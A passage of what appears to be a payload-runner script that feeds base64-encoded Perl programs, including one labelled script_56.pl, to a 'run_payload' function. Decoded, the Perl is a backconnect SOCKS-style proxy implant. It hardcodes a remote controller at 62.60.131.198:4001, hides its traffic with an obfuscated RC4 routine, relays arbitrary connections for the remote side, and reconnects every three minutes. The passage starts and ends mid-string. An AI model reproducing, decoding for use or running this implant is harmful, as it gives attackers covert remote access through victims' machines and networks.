vY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_56.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfY